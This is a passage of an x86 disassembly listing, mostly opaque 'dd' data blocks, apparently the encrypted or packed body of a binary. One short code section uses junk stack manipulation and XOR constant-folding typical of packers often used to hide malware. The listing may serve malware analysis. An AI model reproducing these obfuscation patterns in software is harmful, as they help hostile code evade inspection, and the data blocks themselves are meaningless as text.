		dd 0CA31C9A7h, 0AA11A189h, 8DF48C69h, 6D861B52h, 0F94DDF0Bh
		dd 8C69DC1Fh, 0BD9A6BF4h, 8FADBE25h, 58ED94B9h,	4BD3791Bh
		dd 6297E3CBh, 0D9AACBCDh, 28B7351h, 0D548085Dh,	6F30D54Dh
		dd 0F6ABF787h, 854D58D4h, 0EFB0A455h, 0FBF37C14h, 2E79AFh
		dd 83B60000h, 24EE6C2h,	0CAEF59E3h, 81B70823h, 41BF0841h
		dd 9422D2F5h, 0AC9451D9h, 96697E23h, 0D1F64DD5h, 477233B9h
		dd 0B38CA456h, 0C9000000h, 50E0C283h, 3483CFC7h, 6536BF57h
		dd 996AF383h, 0CA9B24BCh, 0D9EE55EDh, 4BD37EC2h, 6ED56D4Ah
		dd 2FB8502Dh, 759AAE8Eh, 0F440D8B4h, 0A3162ABFh, 685051D9h
		dd 10A08243h, 9BBB5977h, 0A5620A9h, 0ADBA8293h,	0AACF35C5h
		dd 0CB5B4203h, 0DBFE4A42h, 57DAFF69h, 23E409F1h, 94AB141h
		dd 9E9C9727h, 0B74E0D99h, 986EA1Eh, 13F40000h, 0DB1C83h
		dd 0D9C00168h, 0C5A1E249h, 0A385C62Dh, 528CAC13h, 0E44BDBBDh
		dd 0C62DC5A3h, 0A60D9D85h, 89F08865h, 6182174Eh, 0F54DDF0Ah
		dd 8769D81Bh, 724F90F7h, 7C547AA7h, 0E005A6D6h,	0D3F9164Bh
		dd 70D6BE4Bh, 0A399C409h, 0D9B7789Dh, 4848A80Eh, 0B51BEEECh
		dd 0B3E8342Ch, 0D944761Eh, 0D3F8E051h, 169F3712h, 47A9CA5Fh
		dd 553D4DD5h, 650AA3EFh, 4DD54700h, 9A7738DDh, 0C901B602h
		dd 0E7573853h, 0B1B478A1h, 27FAF78Ch, 826A4DD5h, 0B5941136h
		dd 0AA6BA455h, 0EA825FC8h, 0A8023884h, 3F000000h, 6BF48C69h
		dd 0D469B89Ah, 4BD3799Fh, 10A88647h, 0C3298F87h, 7E06953Ah
		dd 29064BD3h, 30C56C91h, 4BD37C33h, 0F86FBBA3h,	0EE83DAB7h
		dd 4BD37CF5h, 7CB5AE43h, 39214BD3h, 5BE44A32h, 99BE82BAh
		dd 0D9A33004h, 0DB422A51h, 0A9CE72CAh, 0DA180314h, 2E533B57h
		dd 94FB8B6Dh, 0E6E17153h, 4E0E3EE2h, 7D3E720Bh,	0EB000008h
		dd 0D2137A0Ah, 0B7F85FF7h, 98D940D0h, 7CBD24BCh, 83A30A9Ah
		dd 42D2B45Bh, 24BC9ADBh, 4947CBDh, 0E77F5C9Dh, 790E4580h
		dd 4DDF0D78h, 69CF12ECh, 11D2F787h, 19119A2Ah, 381556CDh
		dd 83F439A0h, 0C64FE7C2h, 563382CEh, 876435BEh,	0C57788EFh
		dd 0EEAF567Bh, 2BC3A011h, 0F8443CC5h, 0D99617D5h, 490AB151h
		dd 0AFC4D767h, 374DD565h, 0B5FD3B1Ch, 1B81B3A0h, 47D0B8CFh
		dd 9A019976h, 5BE47C59h, 1F7892B6h, 5CECD4D5h, 8C2402D3h
		dd 37537A03h, 54761D64h, 0D239D1AEh, 931CB491h,	9E7EFAEEh
		dd 0F69D44C6h, 9E7E0061h, 0A0ECD4C6h, 7C3DDFEBh, 6DBC08A0h
		dd 6A91F890h, 0E834CCA9h, 0FF24BC99h, 7EAEC358h, 4E36C69Eh
		dd 0A8B44EB5h, 0EB375FF0h, 0B0BFAD52h, 13EFC69Eh, 3921F27Bh
		dd 0B01C55EAh, 0E0C8C69Eh, 4168F17Ah, 12495209h, 0D56D4AF8h
		dd 6A2C476Eh, 0B2CB868Dh, 44DCB9F8h, 2877C3BBh,	892AB34Bh
		dd 99055AB3h, 58ECCB33h, 8038CDF2h, 2DC9460h, 46CF5F41h
		dd 7081E84Eh, 0BA4F74CCh, 0C28A8A72h, 0DE830CF4h, 0D28A438Ah
		dd 6D72351Ch, 2B1C8B63h, 9DA63C9h, 2F089121h, 93994288h
		dd 0D5D05C6Eh, 2837A8D0h, 0A9F58567h, 43773h, 4540B000h
		dd 23C74EEEh, 0C62D3558h, 0CC7398FEh, 8598300Bh, 4BD3886Ch
		dd 8FC410F8h, 0D98AB6FAh, 0C6C8B051h, 0E4BEF233h, 0B08B4CCAh
		dd 0E1BE8F18h, 62C8C049h, 0BC4BA83Dh, 331BCCC6h, 9974C8E7h
		dd 0E2623154h, 0E18019D3h, 886FE322h, 7C11369Ch, 0D6CC280Ch
		dd 16A5DDF8h, 0E7A11A3h, 0F05F8675h, 0A56EAC1h,	25E60BF3h
		dd 2C24AD3Dh, 0E99047E0h, 0C86C1F54h, 93DFC7C6h, 5B80C874h
		dd 250999B4h, 0A2A1DAFh, 2ACE9BBEh, 0D178DCC7h,	0F620273Ch
		dd 7BC7AFD8h, 0B0577C64h, 207F7409h, 9A55D8F6h,	7E2B942Eh
		dd 0BD09F1F8h, 92F9916Eh, 0E1DC7451h, 0C6F776C7h, 71396D06h
		dd 0DF000006h, 0C6076EFEh, 0ABEC53EBh, 8CCD34C4h, 70B118B0h
		dd 7797FE8Eh, 36C6A867h, 18B08ECFh, 0F88870B1h,	0DB735091h
		dd 6D023974h, 4DDF0F74h, 99C306E0h, 0D1789DA3h,	795C952Ah
		dd 20084BD3h, 963BB1D4h, 728D51D9h, 0F3DA6478h,	36BECA63h
		dd 37C7AEEDh, 63ECD4EBh, 5C4405ACh, 384B43CCh, 4DD5093Bh
		dd 0F03690ABh, 433BE8B2h, 654291DDh, 167C0CF4h,	4ADABC8Dh
		dd 7808F0C1h, 0B3F66EFh, 18325950h, 799EA29Ah, 9F2F11D2h
		dd 0F2B83053h, 422A57DFh, 0B1745C1Dh, 7B34FAB2h, 0B942A850h
		dd 7A4B28C1h, 5A15898Dh, 7956970Eh, 4FEE4AEh, 4A89D25Ah
		dd 5149D262h, 0B49162EBh, 45CE6643h, 9B330E4Dh,	2BB41A12h
		dd 833F4B72h, 90A70EA6h, 0AA5BA315h, 0B44C27E8h, 0B1E7332Bh
		dd 2A0h, 9DA399EEh, 0EBA0E378h,	503851DFh, 0F2EF842Bh
		dd 444DDF0Bh, 0DF0BB2AFh, 333A224Dh, 9CAFF4Bh, 0EF309727h
		dd 0B1587D0Dh, 0DF0BC71Ch, 0EA78F4Dh, 89E114C7h, 1DB602B4h
		dd 74C3A566h, 0DF9B82DFh, 46A524Dh, 9B5195B8h, 0F8D54DDFh
		dd 3C456560h, 37D05410h, 53B03h, 38C8A900h, 1DB590D1h
		dd 0FE8E75B6h, 0E27A5697h, 0C8583A7Bh, 729D4161h, 58990090h
		dd 3A7BE27Ah, 1A5BC252h, 33EA53Dh, 0E3A37CCh, 0D0AA4DDFh
		dd 47DC838Dh, 4BD3792Ah, 6786D2BAh, 0DA17ACD5h,	8A4BD379h
		dd 0ED8563A2h, 0A0BB6287h, 7C48BA8Ch, 846CABB4h, 27736BF4h
		dd 0DF8FC104h, 0E8715951h, 3BA23A17h, 0FC851DFAh, 2DD4E2Bh
		dd 0AA7B046Ah, 0D9AA33C3h, 4DD66FEh, 476E2D5Dh,	7B58EA20h
		dd 40657CE3h, 0BEA45C2Eh, 1BCh,	0F48C69FBh, 5E9328CFh
		dd 64BD379h, 0F64F91Eh,	0D74BD379h, 390AA3EFh, 365DC45Ch
		dd 76FF9775h, 2913327Eh, 5365FA1Fh, 0B51D9AAh, 563DFE23h
		dd 3CE17AC6h, 4DD5482Bh, 7B04947Bh, 0A932C2AAh,	1A3B9E7Eh
		dd 726B2780h, 464C0F3Bh, 2283E921h, 0DDA45624h,	0E9CB341Ch
		dd 72D8D059h, 50F026h, 832D0000h, 0C750E0C2h, 3BB736CFh
		dd 0D4C8A741h, 6DD36988h, 14AC8748h, 1247938Bh,	0D944D77Dh
		dd 32573F51h, 72FB9371h, 23691147h, 0C127ABFAh,	0C00CA482h
		dd 846D8227h, 0D5FA4DD5h, 556E37B5h, 0EA91A456h, 0D5881C55h
		dd 94E0C84Dh, 0D95Eh, 68839B00h, 78552FF9h, 0C65F57E0h
		dd 2D79674Ah, 0E06901DEh, 149D2D0Fh, 0A9CE6643h, 882C948Eh
		dd 0D3ACFEF3h, 0E57E664Bh, 62AEF67Dh, 831BF8C9h, 5FB0071Ch
		dd 0D1924BD3h, 0ABD65FEFh, 8403CFE9h, 8FDB414Bh, 64CB6340h
		dd 0DFA0E953h, 0ECE46DFDh, 0D3AC98D9h, 1D314C4Bh, 1B64DBA5h
		dd 0A0C52B91h, 750F64F9h, 0EFD74BD3h, 0C2D96EA3h, 8251DC25h
		dd 0D2B4759Ah, 0DB4DB42h, 0C2D5654Ch, 4DDBC5A1h, 310E4D35h
		dd 0CC181099h, 100B9B7Dh, 541462EAh, 69265AF3h,	0D7000003h
		dd 0BEFF66F6h, 0A3E44BE3h, 84C52CBCh, 68A910A8h, 6F8FF686h
		dd 2EBEA06Fh, 10A886C7h, 0F08068A9h, 0D36B4889h, 65FA316Ch
		dd 4DDF000Ch, 69BBFED8h, 6990F787h, 79342DC2h, 0B8A04BD3h
		dd 0A8401D6Ch, 8C69FC41h, 0BD9A6BF4h, 8FADBE25h, 59FF94B9h
		dd 0C951D97Bh, 0B0B358E1h, 84DD578h, 0F349A9E1h, 50D284Dh
		dd 7BB1A3E1h, 58ED226Eh, 57DFDFA0h, 8ED33A22h, 6BF48C69h
		dd 0BE25BD9Ah, 94B98FADh, 0BA99BC79h, 24E4CDDh,	0D16438CDh
		dd 0F6DE51D9h, 1E1B6D1h, 0FB032E0Fh, 7C7116AFh,	0E94DD555h
		dd 7F2686C4h, 7DA4557Fh, 4Eh, 9DA399BAh, 7E3DE378h, 0BDA551D9h
		dd 60F0D798h, 0FA93DFD7h, 0CA48243h, 3FD7B283h,	26BE9AD9h
		dd 7DB6B7DAh, 0A2F4DD5h, 20B55CC0h, 4DD57DC3h, 7D83E075h
		dd 6B534DD5h, 0CB28BD64h, 9B4DD57Dh, 0DC014DB3h, 0A4555BC9h
		dd 0BA33h, 8C697000h, 0B89A6BF4h, 0F1CE9F28h, 0F88D3459h
		dd 4BD379FBh, 9E37836Bh, 0F158F0CDh, 0D37EDDDCh, 0A5704D4Bh
		dd 35779279h, 0A50C724Bh, 3C6E637Eh, 177A9068h,	79F7CCBh
		dd 8B20C77Eh, 4BD3DD56h, 474EDEC6h, 48F4135Fh, 9A46DB00h
		dd 451D93Eh, 6AD06843h,	3E1BDC03h, 0D9251DA6h, 99BE82BAh
		dd 0DAE9AB04h, 0C098B357h, 83A5F479h, 0B6779C02h, 9CDD44D4h
		dd 32F2ABAh, 164E0E1Ah,	1EE497Dh, 7B5C0000h, 684384EBh
		dd 412869D0h, 2D094AB1h, 0BED2E95h, 0EAF4147Bh,	4CB34325h
		dd 2E952D0Bh, 0E7505EDh, 0F158F0CDh, 89EA7FB6h,	5D4DDF02h
		dd 87694083h, 724F90F7h, 992E73DAh, 0E3789DA3h,	51D97E3Dh
		dd 0C257FEA5h, 4DD57DA1h, 393A4D35h, 0AD4DD57Dh, 0EC7505ECh
		dd 0D4698EF4h, 4DD57D9Fh, 70F95F47h, 851DF8B9h,	95B804FCh
		dd 4DD57D50h, 0D45DEDD4h, 28B1B03h, 34BD5531h, 0FE0C433Ch
		dd 0D8F2171Dh, 555C5154h, 0D9ABA4h, 0EB060000h,	0D631C837h
		dd 0A4F743E0h, 6BF48C69h, 0A617F3B4h, 0A6CB31C9h, 0D379D011h
		dd 509C844Bh, 0DBB61F01h, 9DB8DD43h, 0A66E0870h, 10A9F579h
		dd 0D3D92C6Bh, 0A8FFDC4Bh, 0D3D5DE13h, 0EAC5864Bh, 6BD1C952h
		dd 805D9E05h, 7EBE5FE8h, 0D66E4A0Bh, 0D3D5AEC3h, 0E84E364Bh
		dd 36822EC3h, 0B3CE51D9h, 0E42B4FC1h, 0CEE53137h, 0CE6E7FE6h
		dd 44C0557Ah, 0B057DAD8h, 0D97F7409h, 0FFE747DCh, 8FB49CB3h
		dd 0F55CECCEh, 9B2B0DCEh, 7FCE1A12h, 0B8B94E9Dh, 2C47DCD9h
		dd 0A1E3DE44h, 3C4E0D78h, 0C26FA3h, 4F300000h, 3C1758BFh
		dd 15FC3DA4h, 1DD1E85h,	0DFC10269h, 16C8E84Fh, 208717F9h
		dd 26901DFh, 0E249D9C1h, 0C52CC4A1h, 0A5BE538Ah, 314DDF05h
		dd 87691457h, 724F90F7h, 692E73DAh, 0A53D1B8Ch,	3EFFB63Fh
		dd 873EC757h, 0D379F1F2h, 177D654Bh, 79F7CCBh, 93AD8FA0h
		dd 3BCBAD6Eh, 396EBAB2h, 0DFEB65A4h, 8C15FD51h,	0DF46DEBBh
		dd 0A91AF7B8h, 82CE34CCh, 35BE5633h, 0C35A7690h, 0D1F9A0C1h
		dd 55BC5431h, 4BE03714h, 0C9DB5816h, 8A22FDBEh,	3DA30901h
		dd 0C156FDB4h
		dd 0C9DB58A0h, 18A1AFCh, 0CE1A0209h, 820BA37Fh,	0AB8D2F9h
		dd 0ED2E952Dh, 0BBEF7810h, 0Ch,	93E5FB16h, 57C522DFh, 196CB80Bh
		dd 6FF88869h, 0A029C19Eh, 0CE57E7CFh, 0FE871FFDh, 32BB4B2Dh
		dd 66EF7F61h, 9821B995h, 0C750E0C7h, 0FA831BF6h, 0E78957CCh
		dd 4C781h, 0EF830000h, 243C8704h, 243C895Ch, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h
		db 89h,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 13504F2Bh
		shl	edi, 6
		push	ebp
		mov	ebp, 1643419Fh
		inc	ebp
		sub	ebp, 46664913h
		xor	ebp, 0D0D2F9ADh
		add	edi, ebp
		pop	ebp
		add	edi, 12EAA691h
		mov	edx, edi
		pop	edi
		push	7312h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		push	edx
		xor	dword ptr [esp], 333B3A31h
		pop	edi
		xor	edi, 333B3A31h
		mov	[ebp+8], edi
		pop	edi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_558845
; ---------------------------------------------------------------------------
		dd 0B025206Dh, 32A710F5h, 20B80C7Ch, 3060C7Dh, 7FE0FFC5h
		dd 390A33F4h, 0D51FD06Fh, 0E34E9491h, 4107A17Bh, 5C1BC443h
		dd 960EAA00h, 741B025Bh, 5715D54Fh, 87576B42h, 9F62FB59h
		dd 0A461E4F1h, 0F85D2212h, 8D74B35Dh, 0C7EF18Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0DC3E627Ah, 0CAB218B7h, 28DD8D89h, 13E90606h, 0CB000000h
		dd 4BB99AAAh, 1DA68D4Eh, 0F8B7BCC3h, 91ECE253h,	85C75796h
		dd 6061111h, 62C8h, 0DBF1BA66h,	2E4985C7h, 606h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 81666EC3h, 0FFD9E1CEh, 6201DB5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 7E1DE3D1h
		dd 663515DDh, 0F5171CBEh, 79195FFh, 6A0606h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0BA78CAC3h
		dd 0A5C05FB2h, 81668AC2h, 6AED6CD6h, 0C995FF00h, 8B06061Ah
		dd 305DEBC0h, 0C6AD3314h, 0D51B4309h, 0B824F01Dh, 0C331B65Fh
		dd 88D96AF0h, 0CE791F89h, 0DFAAFE82h, 3A510386h, 4F6526F3h
		dd 973238D3h, 0DD06DF2Ah, 0D01140ADh, 5172DD1Dh, 7E3731Bh
		dd 1CFA32ADh, 3519BAD9h, 0F65E2885h, 201DC5C9h,	0AE793F75h
		dd 5C2BF2B6h, 0DBD8F4E0h, 663103A6h, 46C19AA2h,	0A87D04EBh
		dd 48E9355Bh, 3C000005h, 0DEFC5E4Dh, 7A98FAA9h,	1C3A9C0Bh
		dd 0BBD93B68h, 7F7ADCC7h, 1A2E0F6h, 0A807819Fh,	485B2846h
		dd 0E5BEC8E6h, 78AD2E83h, 33D0FB45h, 9ACD91A7h,	4361BFECh
		dd 7302643Fh, 96656DCh,	22828FDh, 3B991274h, 4B84691Dh
		dd 4454DC9Fh, 6FFE5CBDh, 8EECB7CFh, 2A8B1870h, 92117604h
		dd 5F47F534h, 6297E4A2h, 2DC4C05Bh, 6DCF3091h, 0F71344Fh
		dd 0D0A3E080h, 0C4C0229Bh, 1071D22Dh, 7C275CEAh, 94EF8F1Eh
		dd 2E54B311h, 5DBBE8A0h, 5FA20432h, 11F8124h, 39C82685h
		dd 0BFCAF328h, 0C92A2DC4h, 0C04080A3h, 28C62DC4h, 0E07B127Eh
		dd 2CA37109h, 46AA2C52h, 21A8EE06h, 7Ah, 0BFEC9A5Dh, 7C11AE61h
		dd 661C2DC4h, 1B50DF3Dh, 2DC47BA2h, 0B3D1F152h,	557396F4h
		dd 0CDD6B051h, 2185236Ch, 0ED7504ECh, 0AD55ECA8h, 3D6C192Eh
		dd 64960326h, 0A4E3F400h, 749AFB20h, 1ECh, 89292800h, 0EF4EACFBh
		dd 614C3BC9h, 4DA2E503h, 0CAF3ED42h, 3290F195h,	11747014h
		dd 8FA03192h, 0C526635Ah, 228892Dh, 5D49F736h, 7909E3A4h
		dd 0C6DCC2Ah, 0B1FA8CAAh, 0E89AFB4Fh, 483F5DBBh, 1BBBCC5Dh
		dd 7DDC3A69h, 0C47BF5C8h, 7096F72Dh, 198D3BA4h,	0A7099AE8h
		dd 50AEFD89h, 0F6545332h, 8B822440h, 0A8ED7B75h, 88356A7Bh
		dd 6C2DC486h, 815DE50Bh, 5E000000h, 0DB1952C7h,	0A92B12BAh
		dd 5AEF1A5Dh, 0EE95B516h, 0D4FA59B7h, 8BE89A10h, 0C47C6756h
		dd 0CB2C8D2Dh, 6F364F6Dh, 8224D211h, 3EA0037Fh,	0E3416220h
		dd 8AE8BFC5h, 5335D5D4h, 6F0F3D54h, 4A43DBA0h, 6F9E0824h
		dd 0A8EDDF91h, 0A4194E5Fh, 482DC4E9h, 4C39C1E7h, 75000000h
		dd 0EB199229h, 6E73F956h, 485FF7B6h, 8BB12E70h,	255F85FDh
		dd 7CDDC8BFh, 5EBF1Eh, 0A402A1E2h, 0BE436381h, 297DDFC4h
		dd 60BEED9Ah, 0C47C13ADh, 4F57F52Dh, 0ED7532BEh, 0DF27BEA8h
		dd 93889001h, 7CDDCABAh, 1CE56h, 9A0A0000h, 1C8BFDEBh
		dd 37CE5DBBh, 4DA4FD2Bh, 20AED4B6h, 0B4DF3D66h,	0A4E12086h
		dd 3449A305h, 0CCBB5BECh, 0FE2483E1h, 19ACAFFh,	2F902BC3h
		dd 0D8D3B3D1h, 752E5876h, 25B6417h, 0B3D133CBh,	2B780EF3h
		dd 0D0DBABC9h, 0D34CE372h, 5E7784C1h, 8CFA88AEh, 0AA58C11Fh
		dd 228105FCh, 9442AEC0h, 6425AEF3h, 61000001h, 7001015Eh
		dd 0C262913Bh, 9122832Bh, 0ED1392F1h, 28830321h, 168DF797h
		dd 633359B8h, 0D1624145h, 437AAFC0h, 0A933CA96h, 962A9348h
		dd 69CA33CAh, 48E87743h, 0A908663Dh, 1291F583h,	46A4E181h
		dd 0A908663Dh, 38562248h, 0D7F55350h, 0A99F7AEh, 0CA95E8D5h
		dd 40AB0C33h, 41AC1492h, 98EE1393h, 7A1AA90Bh, 0DE3D9B08h
		dd 8FBA36B8h, 45ADAEF3h, 0E9000000h, 534D075Eh,	0EFD804ACh
		dd 8A7E101h, 59EA4BAAh,	0C52BC924h, 4CAA0B2Dh, 0C52C2499h
		dd 6046742Dh, 0A5DA0E65h, 2DC52C18h, 891A7BDCh,	0C52C9954h
		dd 187ADB2Dh, 0B678h, 23586900h, 2DC52B9Ah, 0FD3F95Ah
		dd 7001015Eh, 90EEB5D0h, 0D70C0B31h, 2BC2683Dh,	7B2A5BFBh
		dd 0E99EBE1Dh, 0A9C994BAh, 0D6BCCDBh, 0FFA4DE7Eh, 403B4BD9h
		dd 0CA97B20Bh, 0E4D90E33h, 833CA97h, 88E94AA7h,	257E0826h
		dd 5391F494h, 0EB117231h, 4A7F901Fh, 33CA9873h,	0CFF21879h
		dd 33CA97C3h, 2ED3D3F1h, 0ADF68C58h, 97D6E71Ch,	0B51633CAh
		dd 0C363F254h, 2584E2C1h, 0D8D835FFh, 20DA1247h, 0AF1031CEh
		dd 6522C251h, 47A8FB87h, 0B8F39321h, 0A5012F5Ah, 7F04C320h
		dd 667C624h, 0CAEBDE75h, 48F0CD02h, 0A3042DCFh,	976A6E8Ch
		dd 0AF3D7271h, 0A52BD23Ah, 5E8EE244h, 3B700101h, 2BC805B1h
		dd 0A60583A3h, 0BDC9E745h, 66FD8CEEh, 0C0F1CF7Eh, 0B5D3F342h
		dd 133998F6h, 11A20185h, 6D931271h, 0BA2DEEA1h,	4240249Fh
		dd 0A0E50361h, 0CEFCAB09h, 3A83B8D8h, 0BA631FCAh, 9B7F859h
		dd 5922649Dh, 877CE8C2h, 0B06594BEh, 6320520Dh,	0BB1D7EDFh
		dd 5CBAE99Dh, 361463Eh,	81B6C7D8h, 6320523Ch, 0D294FB0h
		dd 3157F799h, 11ACE172h, 0E3632052h, 0B8CE5C82h, 1B6B89EBh
		dd 855ECADAh, 0A90A49D3h, 0D50F7818h, 7298F9B0h, 0C06A6h
		dd 60F70000h, 7FC1672Eh, 0BC80A6FCh, 0EF9A065Ah, 424462C0h
		dd 96ED0B69h, 0F593B10Fh, 483A58B6h, 0A3DFFD5Bh, 84A200h
		dd 5E2745A3h, 0BCCBE947h, 561B93F1h, 0C681E689h, 4, 5604EE83h
		dd 42474FFh, 24048F5Eh,	0E389535Ch, 4C381h, 0EB830000h
		dd 241C8704h, 243C895Ch, 49DA68h, 24348900h, 1BD55h, 0EDC17ACEh
		dd 0C5814502h, 0E758FF5Dh, 2C8BEF89h, 4C48124h,	68000000h
		dd 78E5h, 83242489h, 5E042404h,	4EC81h,	1C890000h, 89FB8924h
		dd 8B5B085Eh, 89572434h, 4C781E7h, 83000000h, 3C8704C7h
		dd 3C8B5C24h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 0F8E3E95Ch, 933CFFF9h, 17526C7Fh, 9DC7B63Dh,	0B8DAAA8Bh
		dd 60C8406h, 0E0FFC503h, 5F9CFB6Ch, 2FD852AFh, 4C337B9Dh
		dd 2000D323h, 50B88042h, 6379E55Ah, 59A14E49h, 64B1B4C0h
		dd 224B96EFh, 371260C6h, 4BBF03Bh, 6082111Bh, 96507ADh
		dd 4736DEFEh, 389DD0A3h, 3BAB89CBh, 755453E9h, 2063A1F5h
		dd 5A5E778Fh, 28FFE78h,	26082889h, 54779BAFh, 740AB650h
		dd 75911138h, 33A8E809h, 30FAA91Dh, 79E46C1Ch, 10E8h, 790CA900h
		dd 0D4D6A4ADh, 1821C272h, 0B6E04E34h, 5BC38B4Ch, 94B96656h
		dd 0C381593Fh, 5ABBh, 7C29B966h, 0DDC924BFh, 97EF8144h
		dd 6644DDB2h, 901CC881h, 665133FFh, 5E8782BEh, 81C88B5Ah
		dd 6793B7F2h, 11E968h, 0A29B0000h, 257DA5BDh, 0D8094D0Bh
		dd 3CDF60D6h, 8118D640h, 9A11EFF2h, 57EA8125h, 8B09E5F1h
		dd 0F1389F2h, 484h, 0B3B86600h,	4EB83E2h, 3800Fh, 0B70F0000h
		dd 850F4FCAh, 0FFFFFFACh, 18FBBE66h, 864D8D8Dh,	850F060Ch
		dd 2, 0B58BF28Bh, 606240Dh, 28DD8D89h, 6A0606h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0F77A1CC3h, 39F5CB3Fh, 39BD2903h, 0C706061Ah, 6111185h
		dd 63E806h, 85B58B00h, 0C7060620h, 62E4985h, 6,	31BD8B00h
		dd 0FF06060Eh, 61165B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 2F268DCEh, 0F6FBAD06h
		dd 659D8B6Ch, 0FF060615h, 6079195h, 6AE18A06h, 0C995FF00h
		dd 8B06061Ah, 0AB6BEBC0h, 67BFA507h, 0D912563h,	200000Eh
		dd 0F4C5F662h, 5CB9D5AFh, 0E89CDAEEh, 4BE969B9h, 93BD981Eh
		dd 0F667DC8Eh, 43CD8A30h, 0ABDA273Fh, 0CB4FEDCAh, 884C3E5h
		dd 5E7F353Bh, 0DED69E83h, 0D893476Ah, 0CE838EB0h, 925579A4h
		dd 5209A7EDh, 135F7BD2h, 55A28302h, 99583B8Dh, 0B437BFF5h
		dd 0D5E50DBEh, 0EFDB3F07h, 649CF6EBh, 8D8D2A0Ch, 60C878Ah
		dd 0BE8h, 686D8400h, 0C92AD151h, 22C31BC1h, 2181858Bh
		dd 895F0606h, 628DD8Dh,	1185C706h, 90060611h, 6A00005Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0F5EEC357h, 3D18589h, 85890606h, 6060281h
		dd 2E4985C7h, 606h, 958B0000h, 60625B1h, 2D3DB5FFh, 6A0606h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0CA0391C3h, 0F0EDE555h, 51DFA4D4h, 0A5A98FBFh, 95FF5E0Dh
		dd 6060791h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0DDC35747h, 0B58B6D1Fh,	6061D81h, 3538B866h, 95FF006Ah
		dd 6061AC9h, 1AEBC08Bh,	0DC81CBBh, 8A7F013Fh, 7B110D12h
		dd 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 0EE8BA7Bh, 7E000000h
		dd 461F3091h, 0F92971A4h, 0FBE9F991h, 13E9F2h, 0D9E70000h
		dd 1C617763h, 0DBF903AEh, 35D0B911h, 0A740B06h,	81665B2Ah
		dd 818E49E6h, 7542C3h, 0FE95000h, 32000000h, 29D4A3E1h
		dd 0F208A586h, 36DA089Dh, 33597537h, 0DD8589D2h, 0FF060620h
		dd 8B661A34h, 8D8B58C8h, 6062205h, 1EF6C081h, 0B70F39E5h
		dd 46E881FFh, 8B1B4E1Dh, 62E2DBDh, 9DC08106h, 0E84644D6h
		dd 12h,	4078B0F2h, 87F8F32h, 0DE920CACh, 0F1FA59CEh, 81667711h
		dd 5E01DCCFh, 89130489h, 61F098Dh, 0F8BF0F06h, 6002EA83h
		dd 4179BF66h, 799B589h,	4A610606h, 0B0FA814Ah, 0FFFFF8Bh
		dd 2185h, 8D895000h, 6060171h, 2BE959h,	8BD00000h, 635F0B1Fh
		dd 0C8A9CF9Dh, 0EC504390h, 0A3D368DFh, 8166AC8Eh, 0E9ADAAEFh
		dd 0FFFFFF67h, 2EE38C81h, 2B1E5C49h, 0BB124098h, 5E824h
		dd 26B00000h, 66237054h, 3159F28Bh, 61071BDh, 39C18106h
		dd 66000071h, 0BB5C0BBEh, 1C25h, 1EE19529h, 118B0606h
		dd 28E1B58Bh, 0C2810606h, 2EFE5AFEh, 0F19D8956h, 5E06062Ah
		dd 0C4B7EA81h, 0C38B0A8Ah, 4FAC281h, 8B527824h,	89525EF2h
		dd 60DF18Dh, 66018F06h,	8311AAB8h, 858B04E9h, 6061C4Dh
		dd 1E850F4Bh, 89000000h, 62DC18Dh, 35E906h, 88E50000h
		dd 0CF176445h, 776B3423h, 275BB679h, 0F8E7D7A6h, 0AE9E3h
		dd 0D10A0000h, 9AD018CDh, 0BEE86BD7h, 0FFFF89E9h, 59090CFFh
		dd 8B7196B3h, 0E494D96Eh, 8D6B7176h, 0C8A018Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 9B7CAFE5h, 0DAC0EE22h, 9D8BFC7Eh, 60611BDh, 28DD8D89h
		dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0A89E7DC3h, 7459C083h, 0C7F3BF0Fh, 6111185h
		dd 5E5406h, 0C9850100h,	0C706061Bh, 62E4985h, 6, 0D5B5FF00h
		dd 0B6060614h, 9195FFF0h, 6A060607h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A9D7C352h
		dd 81B57BE0h, 6ABBBC27h, 0C995FF00h, 8B06061Ah,	377CEBC0h
		dd 9F138A36h, 7EC68850h, 47808230h, 0D8590C89h,	0FB80A686h
		dd 494FBBDBh, 0E80F7CA3h, 488595B2h, 0A0AA89CDh, 9F7AF4CAh
		dd 4C2A5271h, 7B33BADBh, 3CD4881Eh, 7DDD9667h, 2A62AE2Dh
		dd 0F8B8B7FCh, 0B684916Ah, 0A40A1678h, 3B95B005h, 7D0F3700h
		dd 2E79BF97h, 2062FC87h, 0D8DF1CC0h, 9218DF5Ch,	0E19ED492h
		dd 0D518B8D7h, 0CABD797Ch, 8A9C1CCFh, 0DD22B8B1h, 0F4511591h
		dd 8D4982DBh, 0C8BB38Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 1A872C4Ah, 8C0BFE45h
		dd 0D985296Dh, 8B06061Eh, 60E25BDh, 0DD8D8906h,	6A060628h
